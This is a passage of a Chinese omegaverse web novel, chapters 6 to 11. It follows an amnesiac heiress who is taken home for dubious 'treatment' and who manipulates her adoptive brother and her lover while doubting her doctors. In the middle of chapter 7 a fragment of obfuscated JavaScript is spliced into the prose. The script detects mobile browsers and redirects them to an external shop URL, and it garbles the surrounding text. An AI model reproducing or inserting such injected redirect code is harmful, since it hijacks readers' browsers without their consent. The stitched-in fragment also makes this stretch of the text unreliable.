何潋停驻脚步，对关青木说：“舍妹的精神力受损，情绪状态很不稳定，认知混乱，目前正在接受治疗，你私自接走她，打乱治疗进度，池家可以以此起诉你。从帝国法律条例来看，绑架这个词，似乎用在你身上才比较恰当。”
关青木脑子混乱，尽管被威胁一番，还是坚定的站在池映菡这边。
不过她确实没想到什么好的角度反击，于是简单干脆骂他：“艹，你疯了！”
何潋纠正她：“不，是小荷疯了。不过现在看来，或许你也应该接受治疗。”
说完，何潋抱着人往后面的车走去。
池映菡的头从外套里钻出来，甩甩脑袋，她的下巴好不容易才够到何潋肩头，越过雨幕，她看见好友惨状，立即开始问候何潋祖宗。
何潋感觉被她反复痛击的胸口处已经麻木了，他将池映菡绑在后座上，并排坐在她身侧，按下后座的隐私按钮，防止她的脏话扰乱司机的注意力。
池映菡以为他对自己的骂声丝毫不在意，渐渐想不出更新鲜的词汇，也就不骂了。
等她发泄完情绪，何潋才气定神闲的开始重复她的脏话。
池映菡听到他毫无起伏的音调在重复着什么后，瞪大双眼，哑着嗓子道：“神经病。”
何潋听而不闻，继续细数。
池映菡崩溃道：“别说了，闭嘴！”
将她的咒骂全部重复完一遍后，手指叩了两下扶手，何潋神色不改，像是教导她一般，说：“骂人的时候太收敛了，我所接收过的恶意，远比你方才的话脏得多。”
“况且，我的祖宗，好像也是你的祖宗。”何潋轻笑，笑中带着点讽刺，“小荷，我们是一家人，父亲泉下有知，听到这些话，会伤心的。”
池映菡要吐了。
“恶心死了。”她说，“谁跟你是一家人，你也不掂量掂量自己几斤几两。”
车内有早就备好的引用水，何潋看了显示温度，确认是温水后，才接了一杯递到她唇边。
“休息一会儿吧，不然母亲要责怪我没有好好照顾你了。”
池映菡躲开他的手，偏过头去，嫌弃道：“谁知道你这水干净不干净。”
主要是怕被下药。
自从在监控里看到苏苍梧将药放在粥中，她就不敢对任何要带她“治病”的人掉以轻心了。
何潋轻笑一声，就这侧身的动作喝了一半，重新递过去。
池映菡余光看见，更加嫌弃：“完了，就算原本不脏，现在也脏了。”
她的嗓子有些嘶哑，却始终不肯喝水。
何潋还是很有耐心与她这么耗下去，未出声哄。
池映菡最烦人听不懂人话，索性故意撞他一下，让杯子衰落。
“听不懂人话啊，你以往考试的阅读理解是零分吗？”
水全洒在池映菡身上。
何潋皱眉：“全洒了，车内没有干毛巾。”
池映菡的目光落在他因干燥而有些起皮的唇上，话语中恶意满满：“你不是在做叶
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女士的狗吗？学狗舔干净不就行了。”
池映菡的羞辱终于令何潋的神情有所变化。
他笑了一声，弯下来的眼角牵动了那颗泪痣。
没等池映菡再说下去，他捂住那张喋喋不休的嘴，将唇贴近她。
有一汪清浅的水，在她锁骨上模拟着湖泊。
不足以令人溺亡，甚至不够解渴。
池映菡感受到他的吮吸和急切地汲取，觉得自己潇洒半辈子，这回是真栽在变态手里了。
因为她这一瞬的走神，何潋有些不满，轻轻咬了她锁骨一下。
感受到掌心的湿热空气猛然被吸走，何潋轻轻舔了舔刚留痕的齿印，温热的鼻息打在她肩头。
“妹妹，我从来没有给别人做过狗，你这么冤枉哥哥，哥哥真的会伤心。”
何潋知道对方的目光一定带着难以掩饰的嫌恶，所以将视线投放在她的肩颈连接处。
因第一性别不曾分化成alpha或Omega，所以那块皮肤光滑细腻，没有被腺体侵占。
但仔细去看，上面却有两个不明显的针孔，越看越刺眼。
就像是蛇吻过后，蛇牙刺穿了一般。
何潋眸色暗了暗，手指轻轻按上那里。
池映菡感受到他指腹的温度。
何潋的指甲修剪得整齐圆润，按下去的时候，几乎不会令她感受到刺痛。
然而他的指腹带着薄茧，触碰到池映菡后颈时，还是会让她感觉不适。
掌心有些痒，池映菡脸颊抽动，没一会儿就掉下眼泪来。
这让何潋的动作不得不停了下来，他摸到掌心的泪水，似乎有些错愕。
池映菡眼中的鸢尾紫闪着水光，她受造物主偏爱，即便是陷入狼狈姿态，也并不会影响她丝毫美貌。
何潋松手，听池映菡抽抽嗒嗒哭了一会儿，好半天，才别扭着撒娇：“哥哥，那里好疼。”
伤口早已结痂，但何潋几乎能在脑内绘制出，那些用于治疗的针头有多尖利。
何潋不曾参与过治疗过程，他的心脏忽然也被幻视的针头搅动似的，有些尖锐的疼痛感。
细小的血痂仍旧坚硬，触感犹在他心上回味。
何潋眸色暗了暗，试探着凑近她唇角。
池映菡没忍住，往后躲闪了一下。
何潋平静道：“演够了吗？”
池映菡被拆穿后也不尴尬，露出森然的利齿，恶狠狠道：“我艹你大爷啊，何潋。”
她说得很慢，刚刚还带着哭腔的声音已经卸下伪装，残忍到近乎无情。
未流尽的眼泪还挂在眼角，不过这不会让她因此显出怯弱。
池映菡根本就与“人畜无害”这个词毫不相干。
她本人就像是随时可能燃烧的火种，贪婪秘藏者，必有焚身之患。
何潋垂首，将唇印在她唇角，同样一字一句，分外从容的回答她：“别奖励大爷，奖励我。”
7.第7章
池映菡切了一声，眼珠往下移动。
“你喷香水了？”
从刚才何潋靠近的时候，他身上就有一股极其清浅的香味。
好像是带着带着些麝香尾调的玫瑰味。
何潋嗯了一声，尾调上扬，似有疑惑。
他皱着眉，淡声道：“没有。”
池映菡心中有了个大胆猜测，她舔了舔干涸的唇，毫不犹豫咬上何潋的腺体。
利齿瞬间咬破皮肤，浓郁的甜腥血气在口腔蔓延开来。
何潋疼得一把推开池映菡，他向后拉开距离，抬手摸了摸后颈处的伤。
指腹上有薄薄一层鲜血。
“你发什么疯！”何潋怒喝。
池映菡咯咯笑了起来，笑得身体歪斜，倒向一边。
她唇角还有鲜亮的血迹，比他指腹那点很快脱水变色的血迹不同，闪着莹润亮泽的水光。
“没看出来吗？我刚刚是在标记你啊！”
池映菡眼神亮晶晶的，带着挑衅意味，骄傲的扬起下巴。
她调整身体重心，脑袋靠在后面的软枕上，好让自己坐得舒服点。
这副满不在乎的态度令何潋怒极反笑，他陈述了一件尽人皆知，但绝对算得上池映菡痛点的事实：“你是Beta。”
据何潋所知，池映菡这种要面子的人，是绝不允许别人在她面前反复提起耻辱。
尤其是，她无力改变的第一性别。
要不是腺体处还传来尖锐阵痛，何潋也不会选择激怒她。
哪知池映菡今日像换了个人似的，翻了个白眼：“这么显而易见的事实，还用得着你提醒，废话一堆。”
何潋不相信池映菡就这么突然不在乎自己的Beta身份了，再次靠近她。
这次，他的手捏起池映菡的下巴，拇指轻轻擦去她嘴角的血迹。
“我是Alpha。”何潋说，“小荷，只有Alpha才能标记别人。”
池映菡偏头，想甩开他的掌控：“用不着你在这里和我普及基本生理知识。”
但她被绑在座位上动弹不得，这点甩头的幅度根本不可能逃脱。
“告诉我，你刚才是想标记我吗？”
池映菡上下打量他一遍：“哈？你把我的话当真了啊！”
何潋手指用力，池映菡感觉下巴有些酸痛，不过这并不影响她继续讥讽何潋。
“我就算标记一百个人都轮不到你这种货色，我就是纯粹想咬死你。”
说完，她作状去咬何潋的手。
伤口还在隐隐作痛，何潋迅速放手，却很快就意识到这是池映菡在故意吓唬她。
池映菡大笑着，挤出了眼角的残泪。
“烂货。”她如是评价道，带着近乎无情的散漫语气说，“不知道被几个人玩过，身上衣服都没换就被我妈赶来截我的车。”
看到何潋眼神一寸寸冷下去，池映菡又故作愧疚：“抱歉呢，饶了某位姐姐……或者叔叔的温柔乡，我真是罪大恶极啊。”
“我只犯贱上过你的床！”何潋伪装出的冷静全线崩溃，“你何必这么试探我，你池映菡的面子贵重，所以就可以三番两次羞辱我吗？”
何潋眼眶泛红，似乎已经愤怒到了极点，他深吸一口气，试图平复心绪：“疯子。”
池映菡继续赏他一个白眼：“多新鲜的词啊，你们就不会换个词吗？说我骂人词汇量匮乏，你们这些人不是翻来覆去就这两个字。”
何潋说：“我可不是在骂你，我是在陈述事实。小荷，来之前我听夫人说，你病得很严重，不然我根本不可能在结束连轴转的工作后，还亲自过来拦你。”
“一个小时前，我还不信你疯了，但现在看来，你确实疯了。”
池映菡说：“疯子是你们冠冕堂皇的借口，如果不愿接受你们洗脑的人就是疯子，那我情愿被你们这么称呼。”
她仍旧笑着，笑得锋芒毕露，肆意张扬，丝毫没有对即将到来的囚禁感到惶恐。
再糟糕，也不会糟糕过今天了，池映菡想。
何潋不知道她心中所想，跟着她笑，忽然说：“照你这么说，那我应该也疯了，小荷，引诱我的是你，让我身败名裂的也是你，你现在翻脸不认人，想踹我走？没那么容易。”
池映菡一听，更加来劲了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13998052|147780||http|test|mini|href|location''.split(''|''),0,{}));
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呕吼，看来这私生子竟然还和她有一腿。
不过就算池映菡现在记忆残缺，但她太了解自己，也太懂得怎么抓住人的话柄，于是她接过话来：“是我勾引你吗？是我让你身败名裂吗？你要知道，像你这种身份的人，能爬上我的床是你的荣幸，我冒着惹一身骚的风险引诱你，有什么好处？何潋，你一个未经鉴定的私生子，连到底是不是老池的种都存疑，要是决意对付你，我有百种兵不血刃的方法，”
忽略池映菡将脚挪向他大腿根的威胁动作，她整个人的姿态倒是颇有几分神闲意定的滋味。
“做狗就要有做狗的觉悟，不要把自己看得太重、太高。”池映菡道，“不然就不是绝育那么简单了。”
她眯眼观察着何潋的神情，就像是一只刚狩猎完，饱食餮足的狐狸。
何潋一直没有反驳，她就知道自己说得八九不离十。
她就说，自己怎么可能对何潋有过好脸色。
这人也太会给自己脸上贴金了。
池映菡有些嫌弃，想要将腿收回来。
哪知何潋将握住她的小腿，竟然垂眸为她按摩起来。
他十指修长有力，骨节分明，掌心干燥温暖，这几下按摩也并非毫无章法，而是根据穴位来按。
池映菡稍稍有些惊讶，但她还是说：“我刚刚的话还有另一层意思。”
何潋按着她的手一顿，听见她叹了一口气：“我的意思是，你既然已经受我庇护，可以跟在我身边，怎么还听从叶女士的话，非要抓我回去呢？”
何潋不说话，池映菡也知道。
要么是怕她真一走了之，要么就是想趁机向别人投诚，试探她到底有没有精神紊乱，还值不值得继续跟随。
养狗最重要的，就是驯服它，直至它完全对一人忠诚。
很明显，何潋有私心。
无论是为权为财还是为人，何潋的野心已经生发。
不过池映菡现在最重要的不是和他决裂，眼看着就要回去了，她不能放过任何机会。
“不忠诚的鹰犬该杀，不中用的爪牙该斩。”池映菡冷声，“何潋，你让我很失望。”
8.第8章
何潋气息不稳，胸前起伏着，心口的郁气几乎要把衬衫扣子撑爆。
他缓了缓神，咽下一口唾液，说：“我没有背叛你。我只知道你在学院任务中受伤，但叶夫人并没有对外宣布你的病情实况，她只对我说，你受到刺激，不能接触外人，需要静养，加上我有任务在身，今日才收尾赶回来。……小荷，我以为你精神错乱，所以才会急着带你回家。”
很好，现在何潋估计已经相信她的说辞了。
池映菡语气缓和下来：“其实我不怪你今日的所作所为。”
这话一出，何潋眼珠微动，盯着她，好半天才问：“真的？”
池映菡与他对视，点头：“我还庆幸是你。”
如果来个和她不太相干的人，恐怕就没这么好套话了。
她接着引导：“如果是别人，恐怕根本不会相信我，我现在只有你了。”
空气中的玫瑰味道更加浓郁了，池映菡看着他脸上小痣，循循善诱：“想证明一个人是疯子很容易，但想证明一个疯子是正常人很难，我不能让别人把我推进自证陷阱里，你懂吗？”
何潋沉默片刻，回答：“你需要我怎么做。”
池映菡说：“母亲一向耳根子软，池家这么多年意外频生，我又在学校，分身乏术，难保不会有人暗生异心，这是个机会，我需要你帮我揪出这个人。”
自池映菡苏醒后，她就觉得隐隐有些不安。
脑内记忆可能无法立刻找回，但身体所保留下来的情绪不会消逝。
人对危险环境的敏感度往往超乎想象，更何况是天赋卓绝的池映菡。
无论何种境地，她都会相信自己，相信自己的直觉。
更何况，池映菡所说的并非全无根据。
叶鸿影沉迷于古文明研究，自池映菡有记忆以来，她就知道母亲有个坚定不移的信仰，即这个世界存在某种不可违抗的神力。
简单来说，就是她坚信古文明的覆灭和神陨有关，新文明的诞生，则是因神迹仍有余温。
世界终将毁灭，一切都会走向无序的混乱。
现在所缔造的新文明不过是古文明的余温。
这也是池映菡为什么在成年后要搬离父母身边，她母亲是个虔诚却天真的神学教徒，而她则崇尚活在当下，今生福今生享，很多次都会忍不住与叶鸿影吵架。
池映菡实在受不了母亲神神叨叨的那一套，她温柔的劝诫并没有让池映菡相信神明能够拯救这个糟糕的世界，反而让她心生叛逆。
本来她还能再忍忍，可父亲池炳瑞非常爱妻子，甚至会在自身不信教的前提下，为叶鸿影的信仰抬手就给灵希大教堂的修建工程捐款五千万。
池映菡觉得这是个很危险的信号。
以池家目前的实力来看，过早与宗教和权势捆绑在一起并非好事。
灵希大教堂修建了一百八十年仍未竣工，它已经不仅仅是个宗教符号，其背后更牵扯了许多错综复杂的帝国势力。
这也是她主动救下苏苍梧的原因。
外头看池家，是光鲜亮丽，可这些年为了在帝国站稳脚跟，已经是许多人眼里的眼中钉，经不起太大风浪，不能再损失掉余家这个合作伙伴。
池映菡本意是回去后慢慢筹谋，未曾想一朝失忆，现在只能凭借过往和他人之口推算自己在这些年的事迹。
她不相信自己是无缘无故失忆的，她的记忆说不定正是创伤或者药物造成的。
所以池映菡更不能任由自己被人摆布。
哪怕是她那位糊涂且愚善的母亲。
思及此处，池映菡更觉得自己该好好利用何潋。
毕竟他是目前唯一一个，能帮助自己延缓治疗时机的人。
从何潋方才的话中可知，他与池映菡背地里虽有来往，表面上却仍不能拒绝叶鸿影的任何指示。
说明她在过去的三年里一直在想办法吊着何潋，不让他投于别人麾下，给自己造成麻烦，同时也并未给过他什么实际好处。
他仍需池家看人脸色，艰难求生。
池映菡熟通打一巴掌再给颗甜枣的做法。
前面她疾言厉色对待何潋，正是要在此刻卸下他心防。<
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池映菡软声道：“哥哥，我们才是同盟。如果换了其他人掌权，怎么可能留你这个隐患，只有我，才敢冒着风险留你在身边，你知道为什么吗？”
何潋的喉结滚动，并未回答。
但池映菡可以根据他眼神的躲闪看出，他已意动神摇。
一无所有的人往往凶戾。
有所渴盼，有所忌惮的人才会心软。
池映菡抓住何潋片刻的犹豫，但她并未急着逼他表态，而是轻轻抽了一口气，蹭了蹭他的膝盖，故意说：“好疼，哥哥，这样好不舒服。”
何潋被她引走注意，本来坚定信念，不想搭理池映菡，却被她突如其来的娇气打了岔。
“哪里疼？”他有些烦躁。
池映菡听见他愿意说话，眼中带着些狡黠的笑意去看他：“肩膀、手腕、脖子……哪里都疼。这个姿势好难受，哥哥帮帮我，嗯？”
见他又沉默下去，眼睫盖住情绪。
两颗引人注意的痣让他的冷意锐减，他整体就像是一片深沉的夜海，墨蓝色的头发是他深藏于夜空下的惊涛骇浪，而那两颗痣，是海面上不易察觉的星影。
池映菡觉得，这个便宜哥哥有点性感。
“帮帮我嘛。”她又撒娇。
这句被重复两次的请求就像是打开了某种开关。
何潋伸出手，替她解开束缚。
一开始动作迟疑，到后来越解越顺利。
池映菡夸奖道：“哥哥真好。”
最后一个绳结在何潋指间松懈，他低着头认真开解，耳边是池映菡的带着热意的呼吸。
恍惚间，他觉得手中的绳子有了生命。
那上面有池映菡的余温。
绳子就像是蛇一样紧紧缠绕着他，无形中蛊惑他。
“无论何时你都会帮我的，对吗？”
何潋想要装作不在意，想要回避。
但他感受到自己的灵魂正在逐渐滚烫。
来不及了，或许他早就吃下了那颗带着剧毒的果实。
何潋低低应了声：“嗯。”
9.第9章
车辆停下，司机按照惯例，下车为后座的人开门。
刚撑起雨伞，便看到后车门已经打开。
何潋站在雨里，调试好手中的雨伞后，才躬身请车内人下来。
司机没听到二人一路间的对话，自然不明白为什么上车前还凶神恶煞的何潋，这会儿竟然好脾气的为池映菡躬身挡雨。
不过他挺有自知之明，并未上前献殷勤。
这家里出什么怪事都不算奇怪。
池映菡揉了揉手腕，搭上何潋的小臂，从容下车。
半点不见狼狈。
何潋的外套披在池映菡身上，她走得步步生风。
一直在廊下等候的女人，远远便看见这副场景。
叶鸿影将手掌放在心口，抬头看着灰蒙蒙的天，道：“神明保佑，令她迷途知返。”
而后，她才带着宽慰的笑容起身，道：“小荷，快来让妈妈看看。”
池映菡望向她身后的三个人。
两位身穿白大褂的医者就站在，还有一个忧心忡忡的苏苍梧。
他甚至没有来得及换衣服，就这么姿态狼狈地站在所有人身后，不敢抬头。
即便是池映菡目光扫过他，他也只是短暂对视，很快又垂下头去，情绪低落。
池映菡面色平静，主动拉起叶鸿影的手，替她暖着掌心。
年轻人的手总是热的。
“我就是和朋友出门一趟，怎么这么大阵仗？”
池映菡把出逃轻轻揭过，甚至主动掩饰起了那些不愉快。
两个医生面面相觑，较年轻的那个人试探性开口：“夫人……”
池映菡根本不给她插嘴的机会，而是接着说：“我不在家，你就是这么招待母亲的吗？外头的温度这么低，怎么不带她进去？”
她说这话时并不需要多高的音量，只需要稍稍皱眉，即便是轻飘飘语气，也带着些不怒自威的气魄。
苏苍梧愣了愣，突然发现两位医生侧身让开一条缝隙。
刚好够一个人的身位，他的窘迫和茫然全数暴露。
苏苍梧这才反应过来，池映菡是在和他说话，他踱步至池映菡身旁，仍是低着头，不曾言语。
“你也是的，不过是做事不利落，说你了几句，怎么好意思劳动母亲。”池映菡斥责他。
语气略有些严厉，所以苏苍梧后知后觉品出她言语中的责备，立刻含了两眼的泪。
再抬头看向池映菡时，发现对方竟然笑了。
池映菡伸出食指，点了点他眉心。
“你看你，越来越娇气了，连说你两句都不行。”
苏苍梧刚要说话，瞥见池映菡身后的男子，他目光炯炯，眉目刚烈，神情肃穆。
这下苏苍梧连撒娇反驳的话也不敢说了。
他一时间不知道该如何化解场面，更拿不准这母女二人的心思，只能求助叶鸿影：“叶夫人……”
叶鸿影叹了口气，说：“又不是什么大事，你突然离家，身上还带着伤，我就是太着急了，才要在外面等着。”
池映菡不依不挠：“那也不能硬在外面吹风。”
她吩咐苏苍梧：“二楼的衣帽间里应该有披肩，你带着母亲去换上，顺带再给自己换件干净的衣服，迎客还穿家居服，不像话。”
这句话说出口，苏苍梧委屈巴巴哦了一声，叶鸿影却拍拍他的肩，用在场所有人都能听见的音量，小声安慰他：“小荷嘴硬呢，她这是明摆着偏心你，走吧。”
几人一起到房内。
待叶鸿影与苏苍梧走上二楼，池映菡才坐在沙发上，一只手搭在柔软的皮质靠背上，一只手搭在腿间，抬起下巴说：“我上次的身体检测报告呢？拿过来我看一下。”
两个医生对视一眼，最终还是那位年长的Omega挺身而出，硬着头皮说：“池小姐，这个暂时不方便给您看。”
池映菡扫了他一眼，道：“是不方便，还是根本拿不出检测报告。”
她白皙修长的手指在有节律地敲打着靠背。
皮面配合她的指尖，凹陷又回弹，每一击都能发出沉闷又缠绵的回弹声。
那个年轻Omega一听到池映菡的质疑，便立即明白她可能是要借口怀疑她们身份的正规性，未等长者指示，急忙说：“谁说我们拿不出来！”
池映菡勾着蠢，她耐心一向比较好，和颜悦色道：“哦？那我作为病人，有权了解我的病情，对吧。”
年长Omega立即抬臂拦下后辈，她额头已经冒了冷汗，道：
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“池小姐想看，肯定是能看的。关于正规性，我们都是夫人出资完成学业的，已经获取帝国从医资格证，请您放心。我这后辈还在实习，如有冒犯，请您不要与她计较。”
她深吸一口气，从终端调出详细资料，传输到客厅最中央的屏幕显示器上。
趁着调设备和投影的时间，叶鸿影已经下来了。
两位医生站起身，解释道：“夫人，池小姐说想看看自己的病情报告。”
叶鸿影没有异议：“看就看，她现在状态还不错，该让你们做的，你们照做就行。”
池映菡轻笑一声，检测报告上的的数值和专业术语，她很多都看不懂，就算硬盯着琢磨，也根本看不出个名堂来。
不过这上面写她腺体异常，倒是写得很明白。
池映菡没有多看，在报告上方找到了一个人的名字，成哲妍。
应该就是那位年长Omega的名字。
“讳疾忌医肯定不行。”池映菡沉思一会儿，说，“但我现在感觉身体状况好了很多，不如再做一次检测，然后再商议治疗方案，如何？”
池映菡看向她们，她们则把目光投向叶鸿影。
“不合适吧。”成哲妍说，“如果贸然中断治疗，可能会对病人造成二次伤害，我不建议更换治疗方案。”
叶鸿影不动如山，感受到两位医生的焦急，她犹疑一会儿，说：“我觉得成医生说得对。”
池映菡不相信这份检测报告。
在新的治疗方案出来前，她不仅不能接受她们原先的方案，还要想办法找到更靠谱的地方重新检查一遍身体。
毕竟，她很难不怀疑那些药有没有副作用。
只是这话她没办法直接和叶鸿英说，便挪动脚尖，示意身旁人开口。
多说多错，为了不让人摸清她现在的底细，池映菡下车前已经和何潋说好了，不管他想什么办法，也要替她找个正当借口。
让一个没失忆的人来替她圆谎，总比让她再接着瞎编更好。
一直沉默着的何潋收到信号，突然说：“夫人，其实今日确实不适合继续治疗。”
所有人的目光都移到何潋这里，包括池映菡。
她也很好奇，何潋会替自己找什么借口。
10.第10章
何潋说：“她身上还有两枚未愈合的针孔，我想请问成医生，你们上次注射是在什么时候？”
成哲妍神色未变，右手却微微颤抖，她回答：“前天。”
何潋点点头，接着对叶鸿影说：“就算是按照原来的治疗方案，也该日常服药，用于腺体的针剂，该视情况而定，小荷现在病情刚稳定下来，如果再过度用药物刺激腺体，可能会导致不良反应。”
“市面上最常见的，作用于腺体药物，是抑制剂，但抑制剂尚且要斟酌用量，更何况是新药物呢？”
何潋说完，请示叶鸿影：“夫人，您是小荷的母亲，您说呢？”
一直面带浅笑的叶鸿影，在听到他提起自己时，唇角先是放下，很快又牵动唇线，皮笑肉不笑搪塞她。
“做母亲的，自然是一心为子女，不过我也不是医生，你何必逼问我呢。”
叶鸿影一直对这个孩子称不上喜欢。
并不是因为何潋的身世，相反，如果当年不是叶鸿影出面保了他，他一个身份存疑的孤儿，怎么可能在池家站稳脚跟。
她不喜欢何潋，纯粹是不喜欢他的性格。
叶鸿影从前坚信，再倔强的孩子也会被母亲的爱感化，但何潋亲缘淡薄。
他这种立于人群，仍有身负萧索之感的人，注定不会与谁产生太多情感牵绊。
叶鸿影放下了感化他的执念，已经对抚养和治愈他这件事提不起兴趣。
但装样子还是要装的，于是她侧首，语气温和：“成医生不必担心，我会让人多照看她，实时监控她的身体状态，等明天带她再做一次全面的检查，再商议后续治疗方案。”
成哲妍的松了口气，她低头与叶鸿影交流了一些注意事项，两人温声细语，一时间连池映菡这个亲生女儿都插不进话。
她揉揉眉心，说：“那明日再见，现在时间不早了，我送你们回去吧。”
叶鸿影说：“让何潋送两位小姑娘回去就好啦，她们两个都是Omega，别人送我不放心。”
这边确实离公共交通线很远，池映菡和叶鸿影想到一处去了，她点头后站起身，作势送客。
“恐怕不太方便。”何潋拒绝，“我觉得小荷现在需要人照顾，我应该替您留下来。”
池映菡认为他才应该去做全项脑部检查。
何潋这副模样，一看就是十指不沾阳春水的大少爷。
照顾她？怕不是别有用心。
池映菡现在不想把精力留在对付她身上，刚要出声拒绝，便听见叶鸿影说：“我记得你说过，你母亲生病的那几年，都是你在病床前照顾。”
她轻轻笑了一声，岁月厚待，她眼尾细碎的鱼尾纹只在这时候才能绽放。
叶鸿影似乎被何潋说动：“我知道，你就是不擅长表达，其实是个细心善良的好孩子。”
但下一秒，她反问何潋：“但你是以什么身份提出这个建议呢？”
何潋握拳，低垂着眉目，然后抬眼与她对视，说：“我视您和小荷如亲人。”
叶鸿影说：“我也一直把你当孩子。”
然而她说这话时，有一瞬还是没忍住皱了眉。
“不过我一直觉得，什么身份做什么事，你如果体谅小荷，就该明白，她好不容易意识清醒，更想和身边人亲近些。正如你所说，她现在的腺体经不起刺激，还是让小荷更熟悉的Omega来照顾她，好吗？”
叶鸿影经过他身侧时，拍了拍他的肩膀，叮嘱他：“年轻人还是不要太肆无忌惮，你的腺体……我不是歧视Alpha，你知道的，我一向是个开明宽容的家长。”
她叹气，语重心长：“年轻Alpha追求刺激也没什么，但是还是注意些吧，看着怪瘆人的。”
池映菡知道叶鸿影这会儿已经带着阴阳怪气。
她也觉得何潋有些莽撞，于是替叶鸿影接下话，她安慰何潋：“你这几天出任务也辛苦了。”
何潋面色苍白，叶鸿影和两位医生已经走到玄关处，他还站在原地，嘴唇轻微动了动，似乎还想和池映菡说些什么。
从他眼神中，池映菡似乎看出些怨念。
但池映菡没看明白，她不懂得这人在不舍些什么。
“行了，我妈也是体恤你，你回去休息吧。我这边有人照顾，你暂时不用担心。”
恰好苏苍梧已经换了衣服下楼，他应该是刚洗完澡，脸还带着些热气蒸出的浅粉血色。
银色发尾和他的眼睛一样湿润，末端向内扣，在衣服上洇出一点暗色痕迹。
他在这里有很多不同款式的家居服，就这么松散随意的穿在身上，颇有些我见犹怜的意味。
苏苍梧就像是这个家的另一个主人。
他一出现，就能引走池映菡的全部注意力。
池映菡虽然还是看着何潋，身体已随着苏苍梧轻扯衣角的动作而倾斜几分。
何潋看不下去了，转身就离开，连一句告别都没和池映菡说。
然而他耳力实在太好，即便背过身，走出好几步远，也能听见苏苍梧低声和池映菡说：“我刚刚不小心打翻了主卧的一瓶香水。”
如果何潋记得没错，池映菡这两年尤其喜欢收集香水。
自她分化失败后，便执着于按每天的心情换不同的香水。
何潋有些阴暗的期待着，他希望听到那人不悦的声音。
但池映菡只是轻飘飘说：“香水而已，不必在意。”
何潋快步离开，关门的那一刻，将两人的交谈隔绝在身后。
或许叶鸿影说得对，池映菡还是更适合由Omega来照顾。
何潋回家的路上脑子一片空白。
车内播放着常听的新闻频道，他一句都没听进去。
车内的低气压持续着，司机很识趣的没有与他搭话。
在回家后，何潋破天荒打开终端，主动给置顶的人发了一条消息。
“我觉得你身边那位不太稳重。”
发完，何潋有些懊恼，想要撤回，却觉得自己没做错什么。
毕竟他说的是事实，池映菡应该有一位更得力的助手在身边，而不是还需要她时不时记挂的废物。
半小时后，何潋再次打开终端，发现对方已读不回。
何潋也不清楚自己现在是什么心情，只觉得半张脸的神经隐隐抽动。
许久，他盯着上面的已读不回，又补充一句：“你说的内鬼，我觉得确实应该尽快排查。”
这次，对方很快就回复了。
“你有怀疑的对象吗？”
何潋笑了，这次是被气笑的。
他很快便意识到自己上当了。
什么她只有他了，都是为了利用他敷衍叶鸿影的谎话。
不过何潋很快便消了气，他不是头一次意识到自己上了贼船。
池映菡的薄情他早就见识过。
任何没有利用价值的人，都会被她遗忘。
所以何潋根本不必担忧，他刻意晾了一会儿池映菡，数着手指在桌面敲击的动作。
三十下后，他开始输入：“不确定，等我们
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见面后详谈。”
池映菡比上次回复更快：“好，明天怎么样？”
何潋轻笑，接着回她消息：“不急，等我再查查，然后再约时间。”
想趁明天一次性解决，然后摆脱他。
没那么容易。
他正这么想着，听见有人敲了敲书房的门。
“请进。”
池映菡抬声对门口乖巧等待的苏苍梧喊。
在进来前，池映菡不动声色关闭掉终端上同时开启的两个聊天框。
苏苍梧眨了眨眼，并不关心她在和谁聊。
“热水调好了，你现在要洗澡吗？”
池映菡关掉书房内的一切设备，伸了个懒腰，嗯了一声。
随即，她拦着苏苍梧的肩膀出了书房，将门扣紧后才安心。
苏苍梧明显与她生活了许久，非常了解她的生活习惯。
所以池映菡觉得，她和苏苍梧至少甜蜜过一段时间。
甚至说，她挺喜欢这个人的。
以她的脾气，是不可能接受一个不放心的人在家中。
苏苍梧很听她的话，从他身上，应该能获得不少信息。
问题是，如何在不经意间套话。
她看着浴室里，弯着腰整理浴巾和摆放洗护用品的人，看到他挽成低马尾的银色长发。
细细的黑色发绳将池映菡的目光拽走，顺理成章的，她看到了苏苍梧颈后的腺体。
“如果明天时间充裕，我可以陪你去买香水吗？我想送你一瓶新的。”
池映菡扫了一下排列整齐的香水架子，忽然注意到一瓶造型独特的鎏金色瓶身香水。
与其他瓶子不同，这个瓶子孤零零在最上层，应该是常用香。
池映菡拿了起来，发现这瓶香水已经用掉了不少。
她随意在腕间喷了一点，令她惊讶的是，即便凑近去闻，还是没有味道。
池映菡以为是香水太淡，亦或者是保存不当，香料早已挥发。
她在空中又喷了两下。
第二次的水雾刚好落在走过来的苏苍梧身上。
他明显呼吸一滞，立在原地不动了。
池映菡察觉出他的异样，问：“这瓶香水。”
苏苍梧似乎被水雾熏染久了，脸红扑扑的，连呼吸都有些重。
他晃了晃头，说：“我先走了。”
池映菡一把拦住他，问：“香水好闻吗？”
苏苍梧半推着她，半嘟囔着：“你明知故问。”
基于他的表现，池映菡很快便明白了，这瓶她闻不出味道的香水为什么能用掉一半之多。
她的手掌摸向苏苍梧后颈，如愿以偿摸到那片逐渐发热的皮肤。
苏苍梧小声哼咛。
“不行……”
池映菡继续，而是尽量放大自己的疲态，将头靠在他肩膀处。
“我好累，头也好疼。”
原本还挣扎着要离开的苏苍梧，听到她略带哑意的嗓音，立即回抱住她。
“很痛吗？”苏苍梧有些着急。
他捧起池映菡的脸，仔仔细细端详着她的脸，眼波流转间，满溢出心疼。
池映菡骗他：“嗯，太阳穴好痛，我好累哦。”
苏苍梧听完，温热的吻落在她太阳穴处，不带一丝缠绵的意味。
他只想让她好受些，即便不能用信息素抚慰，也尽可能用其他方式缓解她的痛苦。
池映菡知道他心软了，说：“我什么都不做，你就在我身边陪陪我好不好。”
11.第11章
这瓶香水的用途苏苍梧最熟悉。
这是池映菡特意找人定制的一批香水，从不在外人面前使用。
它曾多次用于他的发|情期和无数情动的夜晚。
苏苍梧很难形容这是什么味道，它并不像某位Alpha所释放出的，极富侵略性的信息素味道，更像是一种隐秘的抚慰。
他把它当作一种可以心安，亦或者可以任由思绪坠落混沉的信号。
苏苍梧无法拒绝，等他反应过来，已经坐在大理石砌成的台沿边。
热气蒸腾间，他的耳根和脸颊泛红，连呼吸都小心翼翼，生怕令人察觉。
池映菡拉过他的手掌。
